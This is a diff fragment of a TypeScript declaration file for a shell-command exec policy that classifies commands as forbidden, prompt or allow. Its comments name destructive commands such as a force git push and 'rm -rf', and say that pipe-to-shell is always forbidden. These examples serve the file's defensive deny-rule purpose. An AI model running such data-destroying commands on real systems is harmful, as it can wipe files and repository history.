* matches an entry (same "*"-suffix glob convention as unlessTokens).
|
|
82
|
+
* Used by forbidden rules to catch permuted flags: `git push origin
|
|
83
|
+
* --force` and `rm x -rf` place the dangerous flag after positional args,
|
|
84
|
+
* where exact-position patterns never see it.
|
|
85
|
+
*/
|
|
86
|
+
flagsAnywhere?: string[];
|
|
50
87
|
/** Positive test invocations (validated at load if present). */
|
|
51
88
|
match?: string[][];
|
|
52
89
|
/** Negative test invocations (validated at load if present). */
|
|
@@ -69,10 +106,11 @@ export declare function tokenize(command: string): string[];
|
|
|
69
106
|
/**
|
|
70
107
|
* Classify a full bash command string against the exec policy.
|
|
71
108
|
*
|
|
72
|
-
* Compound commands (pipes, &&, ||,
|
|
73
|
-
* classified independently
|
|
74
|
-
* allow). Commands with shell constructs
|
|
75
|
-
*
|
|
109
|
+
* Compound commands (pipes, &&, ||, ;, newlines) are split into segments and
|
|
110
|
+
* each is classified independently; the strictest decision wins (forbidden >
|
|
111
|
+
* prompt > allow). Commands with shell constructs (substitution, redirects,
|
|
112
|
+
* background &) have a floor of `prompt`, and their substitution inner text
|
|
113
|
+
* is danger-scanned against the forbidden rules. Pipe-to-shell is always
|
|
76
114
|
* forbidden.
|
|
77
115
|
*/
|
|
78
116
|
export declare function classifyCommand(command: string, policy: ExecPolicy): ExecClassification;
|